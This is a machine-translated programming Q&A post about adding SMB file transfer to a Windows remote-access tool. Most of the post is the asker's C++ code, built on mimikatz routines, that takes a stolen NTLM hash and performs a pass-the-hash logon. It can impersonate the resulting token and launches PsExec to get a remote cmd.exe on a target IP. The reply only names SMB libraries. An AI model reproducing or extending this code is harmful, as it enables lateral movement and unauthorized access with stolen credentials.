使用 SMB 连接到 Windows 服务器文件系统

Connect to Windows Server File System with SMB

我用 C++ 编写了一个程序,它可以在工作组中生成一个验证 cmd.exe 进程。此外,我可以 运行 psexec.exe 程序使用该经过身份验证的令牌连接服务器计算机。

    printf("\n\t");
    WarningMessage("%s\n", "Fill following information:");

    printf("\n\t\tUsername: ");
    wscanf(L"%ls", username);

    printf("\t\tDomain: ");
    wscanf(L"%ls", domain);

    printf("\t\tNTLM Hash: ");
    wscanf(L"%ls", hash_ntlm);

    printf("\t\tDestination IP: ");
    wscanf(L"%ls", ip_destination);

    wcscpy(process_name, TEXT("PSExec.exe \\"));
    wcscat(process_name, ip_destination);
    wcscat(process_name, TEXT(" cmd.exe"));

    if (kull_m_string_stringToHex(hash_ntlm, ntlm, LM_NTLM_HASH_LENGTH))
    {
        data.NtlmHash = ntlm;
    }
    else
    {
        printf("\t");
        ErrorMessage("%s\n", "ntlm hash/rc4 key length must be 32 (16 bytes)");
    }

    printf("\n\t");
    NormalMessage("%s\n", "PTH login to the Active Directory process has been started:");
    if (data.NtlmHash)
    {
        if (LoginWithActiveDirectory(KULL_M_PROCESS_CREATE_LOGON, process_name, CREATE_SUSPENDED, NULL, LOGON_NETCREDENTIALS_ONLY, username, domain, L"", &process_infos, FALSE))
        {
            printf("\n");

            PrintColorful(2, "\t\tPID: ");
            printf("%d\n", process_infos.dwProcessId);

            PrintColorful(2, "\t\tTID: ");
            printf("%d\n\n", process_infos.dwThreadId);

            if (OpenProcessToken(process_infos.hProcess, TOKEN_READ | (is_impersonate ? TOKEN_DUPLICATE : 0), &handle_token))
            {
                if (GetTokenInformation(handle_token, TokenStatistics, &token_status, sizeof(token_status), &needed_size))
                {
                    kuhl_m_sekurlsa_pth_luid(&data);
                    if (is_impersonate)
                    {
                        if (DuplicateTokenEx(handle_token, TOKEN_QUERY | TOKEN_IMPERSONATE, NULL, SecurityDelegation, TokenImpersonation, &handle_new_token))
                        {
                            if (SetThreadToken(NULL, handle_new_token))
                            {
                                NormalMessage("%s\n", "Token Impersonated.");
                            }
                            else
                            {
                                ErrorMessage("%s\n", "SetThreadToken failed.");
                                CloseHandle(handle_new_token);
                            }
                        }
                        else
                        {
                            ErrorMessage("%s\n", "DuplicateTokenEx failed.");
                            NtTerminateProcess(process_infos.hProcess, STATUS_SUCCESS);
                        }
                    }
                    else
                    {
                        NtResumeProcess(process_infos.hProcess);
                    }
                }
                else
                {
                    ErrorMessage("%s\n", "GetTokenInformation failed.");
                }
            }
            else
            {
                ErrorMessage("%s\n", "OpenProcessToken failed.");
            }
            CloseHandle(process_infos.hThread);
            CloseHandle(process_infos.hProcess);
            printf("\n");
        }
        else
        {
            printf("\n\t");
            ErrorMessage("%s\n", "PTH login to the Active Directory process has failed.");
        }
    }
    else
    {
        printf("\t");
        ErrorMessage("%s\n", "Missing some arguments for authentication.");
    }
}

但是,当 psexec.exe 执行时,它只为服务器提供了一个命令提示符环境,我可以在其中执行命令并查看结果,但我希望能够 download/upload 文件从服务器机器。

但是,不幸的是,我不知道如何编写一个程序,即使在身份验证之后也能让我将文件下载或上传到服务器计算机上。

我已经搜索并发现我应该使用 SMB/CIFS 但我什至找不到一个简短的介绍来解释我应该如何实现这样一个程序。有人可以分享有关此问题的信息吗?

这取决于您 运行 您的程序所使用的 OS。

Windows: 您可以使用 several Win API 连接到请求的远程服务器。

Linux: 您可以使用 Samba - 请参阅 this 在 C++ 中使用 Samba * 请注意,Samba 是 GPL3 产品。

任何OS: 有一个名为 YNQ 的商业许可产品,您可以查看它,它是基于 C 的产品,所以我认为移植到您的程序中并不困难。